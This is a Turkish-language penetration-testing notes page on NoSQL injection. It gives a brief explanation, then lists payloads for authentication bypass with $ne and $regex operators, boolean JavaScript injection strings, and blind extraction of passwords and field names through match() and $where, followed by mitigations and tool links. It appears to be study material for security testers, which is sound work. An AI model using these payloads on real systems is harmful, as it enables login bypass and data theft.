🖥️
Siber Güvenlik Notları
  • WHOAMI
    • 👨‍💻Who Am I?
  • 🔭Information Gathering
    • Pentest VM Setup
    • Passive Information Gathering
    • Subdomain Enumeration
    • Host Discovery
    • Port Scanning
    • Email Enumeration
    • Leaked Passwords
    • Zafiyet Araştırma
  • 🪟Windows Pentesting
    • Windows Privilege Escalation
    • Windows Persistence
    • Windows Lateral Movement
    • AV Evasion
  • 🐧Linux Pentesting
    • Linux Privilege Escalation
    • Linux Persistence
    • Linux Lateral Movement
  • 🕸️Web Application Pentesting
    • Web Pentest Checklist
    • SQL Injection
    • NoSQL Injection
    • OS Command Injection
    • XXE Injection
    • SSTI
    • XSS
    • CSRF
    • SSRF
    • LFI/RFI
    • Insecure Deserialization
    • CORS Misconfiguration
    • Directory Traversal
    • File Upload
    • Broken Authentication
    • Broken Access Control
    • Business Logic
    • Race Conditions
    • Web Cache Deception
    • AWS Testing
    • Web Cache Poisoning
    • Clickjacking
    • API Testing
    • Broken Link Hijacking
    • HTTP Request Smuggling
    • LLM
    • HTTP Host Header Attack
    • OAuth Zafiyetleri
    • GraphQL API
    • HTTP Parameter Pollution
    • Configuration and Deployment Management Testing
    • Information Disclosure
    • Prototype pollution
    • JWT
  • 🖲️Network Service Pentesting
    • 📘Active Directory Services
      • Bleeding Edge Vulns
      • Misconfigs
      • Domain Trust
      • DNS (53)
      • Kerberos (88)
      • LDAP (389,636)
      • RPC WMI (135)
      • SMB (445)
      • WinRM - 5985
    • 📂FTP - 21
    • 🔐SSH - 22
    • 🤣Telnet - 23
    • SMTP - 25
    • TFTP - 69 UDP
    • HTTP - 80,443
      • Apache
      • Joomla
      • Drupal
      • Wordpress
      • WEBDAV
      • PHP
      • Laravel
    • IMAP/POP3 - 110,143,993,995
    • SNMP - 161
    • Rservices - 512
    • IPMI - 623
    • Rsync - 873
    • MSSQL - 1433
    • Oracle TNS - 1521
    • NFS - 2049
    • Docker
    • Grafana - 3000
    • MySQL - 3306
    • RDP - 3389
    • Postgresql - 5432
    • Redis - 6379
    • JDWP - 8000
    • MongoDB - 27017
  • 🕸️Network Pentesting
    • ARP Poisoning
  • 📞Android Pentesting
    • Android Derleme Süreci
    • Reversing
    • Rooting
    • Burp Suite Sertifikası
    • SSL Pinning Bypass
    • Patching
    • MobSF Kurulumu
    • Flutter Pentesting
  • 📰Teori
    • Güvenlik Ürünleri
    • OSI
    • Security Principles
  • Diger
    • Hacking Gadgets
      • Wifi Pineapple
      • Pwnagotchi
    • Stego
    • Buffer Overflow
    • Phishing
    • Nessus
    • DDOS Attacks
    • MSFConsole
  • ⏪Reverse
    • GCC Reverse
    • Python Reverse
    • Flare VM
    • Remnux
  • 🛜Wireless Pentesting
    • Wireless Pentest
    • Wireless V2
Powered by GitBook
On this page
  • NoSQL Injection Nedir?
  • Yöntemler
  • Basit SQLi
  • Authentication SQLi
  • Data Çekme
  • Where ile Sütun Çekme
  • Önlemler
  • Araçlar
  • Kaynaklar

Was this helpful?

  1. Web Application Pentesting

NoSQL Injection

PreviousSQL InjectionNextOS Command Injection

Last updated 6 days ago

Was this helpful?

NoSQL Injection Nedir?

  • NoSQL veritabanlarına yapılan enjeksiyon saldırılarında, saldırganlar istemci sorgularını manipüle ederek yetkisiz erişim sağlar.

  • SQL enjeksiyonuna benzer şekilde, veri girişlerinin filtrelenmemesi veya doğrulanmaması bu zafiyete neden olur.

  • Özellikle MongoDB, CouchDB, Firebase gibi JSON tabanlı NoSQL sistemlerde yaygındır.

  • Kullanıcı girişleri doğrudan sorguya dahil edildiğinde, saldırganlar özel payload’larla filtre mantığını değiştirebilir.

  • Kimlik doğrulama atlatılabilir, veritabanından yetkisiz veri okunabilir veya veri değiştirilebilir.

  • RESTful API'lere sahip sistemlerde URL veya JSON parametreleri yoluyla da gerçekleştirilebilir.

  • Geliştiricilerin veri tiplerini kontrol etmemesi veya JSON yapısını filtrelememesi sonucu ortaya çıkar.

Yöntemler

Basit SQLi

admin' || '1'=='2
admin' || '1'=='1

admin' && '1'=='1
admin' && '1'=='2

admin' && 0 && 'x
admin' && 1 && 'x

admin' || 1 || %00

admin' || 1 || 'x
admin' || 1==1//

Authentication SQLi

{
    "username": {"$regex":"admi.*"}, 
    "password": {"$ne":"foobar"} 
}

username[$regex]=admi.*&password[$ne]=foobar

Data Çekme

admin' && this.password%00
admin' && this.password && this.password.match(/.*/)%00
admin' && this.password && this.password.match(/^p.*$/)%00
admin' && this.password && this.password.match(/^pa.*$/)%00
admin' && this.password && this.password.match(/^password123$/)%00

Where ile Sütun Çekme

{"username":"admin","password":{"$ne":"foobar"}, "$where": "0"}
{"username":"admin","password":{"$ne":"foobar"}, "$where": "1"}

{"username":"admin","password":{"$ne":"foobar"}, "$where": "Object.keys(this)[1].match(/.*/)"}
{"username":"admin","password":{"$ne":"foobar"}, "$where": "Object.keys(this)[1].match(/^p.*$/)"}
{"username":"admin","password":{"$ne":"foobar"}, "$where": "Object.keys(this)[1].match(/^pa.*$/)"}
{"username":"admin","password":{"$ne":"foobar"}, "$where": "Object.keys(this)[1].match(/^password$/)"}

Önlemler

  • Kullanıcı girdileri mutlaka doğrulanmalı ve uygun filtreleme yapılmalıdır.

  • Dinamik sorgular yerine, güvenli sorgulama yöntemleri (prepared statements, parametrik sorgular vb.) tercih edilmelidir.

  • JSON yapısında doğrudan kullanıcı verisiyle operatör veya anahtar üretiminden kaçınılmalıdır.

  • Uygulama tarafında detaylı hata mesajları gösterilmemeli, istisnalar yönetilmelidir.

Araçlar

Kaynaklar

NoSQLMap:

Portswigger Academy:

🕸️
https://github.com/codingo/NoSQLMap
https://portswigger.net/web-security/nosql-injection